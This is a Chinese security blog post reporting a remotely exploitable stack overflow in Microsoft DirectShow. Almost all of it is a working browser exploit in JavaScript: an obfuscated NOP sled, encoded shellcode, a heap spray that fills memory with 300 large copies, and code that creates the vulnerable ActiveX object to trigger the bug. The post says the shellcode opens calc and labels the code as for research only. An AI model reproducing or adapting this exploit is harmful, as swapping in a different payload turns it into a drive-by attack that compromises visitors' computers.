鬼仔's Blog

来源：Xeye

Microsoft DirectShow存在可被远程利用的堆栈溢出漏洞。

关键代码如下：
————————-以下内容有危险，仅为研究使用————–

var appllaa='0';
var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
var dashell=unescape(nndx+"%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949" +
"%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b" +
"%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875" +
"%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c" +
"%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b" +
"%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e" +
"%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a" +
"%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35" +
"%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b" +
"%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b" +
"%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470" +
"%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550" +
"%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550" +
"%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070" +
"%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68" +
"%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047" +
"%u6363%u5251%u634c%u5553%u4550");
var headersize=20;
var omybro=unescape(nndx);
var slackspace=headersize+dashell.length;
while(omybro.length<slackspace)
omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
shuishiMVP=omybro.substring(0,omybro.length-slackspace);
while(shuishiMVP.length+slackspace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
for(x=0;x<300;x++)
memory[x]=shuishiMVP+dashell;
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

————————————-

该shellcode会执行calc。

感谢代码分享者：咖啡。

感谢漏洞遗失者：~这里是马赛克~